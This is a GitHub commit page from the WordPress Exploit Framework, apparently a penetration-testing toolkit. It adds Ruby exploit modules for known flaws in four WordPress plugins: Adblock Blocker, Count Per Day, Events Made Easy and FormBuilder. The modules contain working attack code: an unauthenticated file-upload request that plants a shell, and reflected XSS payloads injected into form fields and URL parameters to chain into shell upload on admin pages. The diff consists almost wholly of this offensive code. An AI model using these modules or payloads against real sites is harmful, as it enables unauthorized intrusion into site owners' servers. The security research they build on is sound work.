Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit eae5179

Browse files
committed
Merged branch development into master
2 parents 73328b1 + ce33175 commit eae5179

7 files changed

+262
-1
lines changed

lib/wpxf/core/data_file.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,12 @@ def php_content
1313
content.strip.sub(/^<\?php/i, '').sub(/\?>$/i, '')
1414
end
1515

16+
# @return [String] the contents of the data file with variable replacements.
17+
def content_with_named_vars(vars)
18+
matcher = /#{vars.keys.map { |k| Regexp.escape(k) }.join('|')}/
19+
content.gsub(matcher, vars)
20+
end
21+
1622
# @return the content of the file.
1723
attr_accessor :content
1824
end

lib/wpxf/wordpress/staged_reflected_xss.rb

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,10 +32,39 @@ def url_with_xss
3232
normalize_uri(xss_url, initial_req_path)
3333
end
3434

35+
# @return [String] the initial script that should be served to automate a form submission to the vulnerable page.
36+
def initial_script
37+
nil
38+
end
39+
40+
# Create a basic POST script with the specified fields. All values in the script will be wrapped in double quotes.
41+
# @param url [String] the vulnerable URL.
42+
# @param fields [Hash] the fields and values to inject into the script.
43+
def create_basic_post_script(url, fields)
44+
json = ''
45+
fields.each_with_index do |(k, v), i|
46+
if i < fields.size - 1
47+
json += "\"#{k}\": \"#{v}\",\n"
48+
next
49+
end
50+
51+
json += "\"#{k}\": \"#{v}\"\n"
52+
end
53+
54+
%|
55+
<html><head></head><body><script>
56+
#{js_post}
57+
post('#{url}', {
58+
#{json}
59+
});
60+
</script></body></html>
61+
|
62+
end
63+
3564
# Run the module.
3665
# @return [Boolean] true if successful.
3766
def run
38-
unless respond_to? 'initial_script'
67+
if initial_script.nil?
3968
raise 'Required method "initial_script" has not been implemented'
4069
end
4170

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::AdblockBlockerShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Adblock Blocker Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8592'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/08/01/arbitrary-file-upload-vulnerability-in-adblock-blocker/']
16+
],
17+
date: 'Aug 01 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('addblockblocker')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_field('action', 'getcountryuser')
32+
builder.add_file_from_string('popimg', payload.encoded, payload_name)
33+
builder
34+
end
35+
36+
def uploaded_payload_location
37+
normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), payload_name)
38+
end
39+
end
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::CountPerDayReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Count Per Day <= 3.5.4 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8597'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html']
16+
],
17+
date: 'Aug 04 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('count-per-day', '3.5.5')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=count-per-day%2Fcounter-options.php')
27+
end
28+
29+
def initial_script
30+
%|<html><head></head><body><script>
31+
#{js_post}
32+
post('#{vulnerable_url}', {
33+
limit: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\""
34+
});
35+
</script></body></html>
36+
|
37+
end
38+
end
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
class Wpxf::Exploit::EventsMadeEasyReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Events MAde Easy <= 1.6.20 Reflected XSS Shell Upload',
9+
author: [
10+
'Job Diesveld', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8595'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html']
16+
],
17+
date: 'Aug 04 2016'
18+
)
19+
20+
register_option(
21+
IntegerOption.new(
22+
name: 'event_id',
23+
desc: 'A valid event ID (can be found in the URL of an event page)',
24+
required: true
25+
)
26+
)
27+
end
28+
29+
def check
30+
check_plugin_version_from_readme('events-made-easy', '1.6.21')
31+
end
32+
33+
def event_id
34+
normalized_option_value('event_id')
35+
end
36+
37+
def vulnerable_url
38+
normalize_uri(wordpress_url_admin, "admin.php?page=events-manager&eme_admin_action=update_event&event_id=#{event_id}")
39+
end
40+
41+
def initial_script
42+
create_basic_post_script(vulnerable_url, form_fields)
43+
end
44+
45+
def form_fields
46+
{
47+
'event_status' => [1, 2, 5].sample,
48+
'event_contactperson_id' => -1,
49+
'event_seats' => 0,
50+
'price' => 0,
51+
'currency' => 'EUR',
52+
'eme_prop_max_allowed' => Utility::Text.rand_numeric(2),
53+
'eme_prop_min_allowed' => Utility::Text.rand_numeric(1),
54+
'eme_prop_rsvp_discount' => '',
55+
'eme_prop_rsvp_discountgroup' => '',
56+
'rsvp_number_days' => Utility::Text.rand_numeric(1),
57+
'rsvp_number_hours' => Utility::Text.rand_numeric(1),
58+
'eme_prop_rsvp_end_target' => 'start',
59+
'event_name' => Utility::Text.rand_alphanumeric(10),
60+
'event_slug' => Utility::Text.rand_alphanumeric(10),
61+
'localised_recurrence_date' => Time.now.strftime('%d/%m/%Y'),
62+
'recurrence_start_date' => Time.now.strftime('%Y-%m-%d'),
63+
'localised_recurrence_end_date' => Time.now.strftime('%d/%m/%Y'),
64+
'recurrence_end_date' => Time.now.strftime('%Y-%m-%d'),
65+
'recurrence_freq' => ['daily', 'weekly', 'monthly'].sample,
66+
'recurrence_interval' => '',
67+
'recurrence_byweekno' => 1,
68+
'recurrence_byday' => 1,
69+
'localised_event_start_date' => Time.now.strftime('%d/%m/%Y'),
70+
'event_start_date' => Time.now.strftime('%Y-%m-%d'),
71+
'localised_event_end_date' => Time.now.strftime('%d/%m/%Y'),
72+
'event_end_date' => Time.now.strftime('%Y-%m-%d'),
73+
'event_start_time' => Time.now.strftime('%I:%M%p'),
74+
'event_end_time' => Time.now.strftime('%I:%M%p'),
75+
'eme_prop_event_page_title_format_tpl' => 0,
76+
'event_page_title_format' => Utility::Text.rand_alphanumeric(10),
77+
'eme_prop_event_single_event_format_tpl' => 0,
78+
'event_single_event_format' => "<script>#{xss_ascii_encoded_include_script}<\\/script>",
79+
'eme_prop_event_contactperson_email_body_tpl' => 0,
80+
'event_contactperson_email_body' => '',
81+
'eme_prop_event_registration_recorded_ok_html_tpl' => 0,
82+
'event_registration_recorded_ok_html' => '',
83+
'eme_prop_event_respondent_email_body_tpl' => 0,
84+
'event_respondent_email_body' => '',
85+
'eme_prop_event_registration_pending_email_body_tpl' => 0,
86+
'event_registration_pending_email_body' => '',
87+
'eme_prop_event_registration_updated_email_body_tpl' => 0,
88+
'event_registration_updated_email_body' => '',
89+
'eme_prop_event_registration_cancelled_email_body_tpl' => 0,
90+
'event_registration_cancelled_email_body' => Utility::Text.rand_alphanumeric(10),
91+
'eme_prop_event_registration_denied_email_body_tpl' => 0,
92+
'event_registration_denied_email_body' => Utility::Text.rand_alphanumeric(10),
93+
'eme_prop_event_registration_form_format_tpl' => 0,
94+
'event_registration_form_format' => '',
95+
'eme_prop_event_cancel_form_format_tpl' => 0,
96+
'event_cancel_form_format' => '',
97+
'location_name' => Utility::Text.rand_alphanumeric(5),
98+
'location_address' => Utility::Text.rand_alphanumeric(5),
99+
'location_town' => Utility::Text.rand_alphanumeric(5),
100+
'location_latitude' => '',
101+
'location_longitude' => '',
102+
'content' => Utility::Text.rand_alphanumeric(10),
103+
'event_image_url' => '',
104+
'event_image_id' => '',
105+
'event_url' => '',
106+
'event_update_button' => ''
107+
}
108+
end
109+
end
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
class Wpxf::Exploit::FormbuilderReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'FormBuilder <= 1.0.5 Reflected XSS Shell Upload',
9+
author: [
10+
'Peter Ganzevles', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8596'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_formbuilder_wordpress_plugin.html']
16+
],
17+
date: 'Aug 04 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('formbuilder', '1.06')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'tools.php')
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?page=formbuilder.php&pageNumber=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E&formSearch=#{Utility::Text.rand_alpha(5)}&Search=Search"
31+
end
32+
end

spec/core/data_file_spec.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,4 +14,12 @@
1414
expect(subject.php_content).to_not match(/^<\?php.*\?>^/)
1515
end
1616
end
17+
18+
describe '#content_with_named_vars' do
19+
it 'returns the file contents with the specified string replacements' do
20+
allow(subject).to receive(:content).and_return('var $name = "$value";')
21+
content = subject.content_with_named_vars('$name' => 'foo', '$value' => 'bar')
22+
expect(content).to eq('var foo = "bar";')
23+
end
24+
end
1725
end

0 commit comments

Comments
 (0)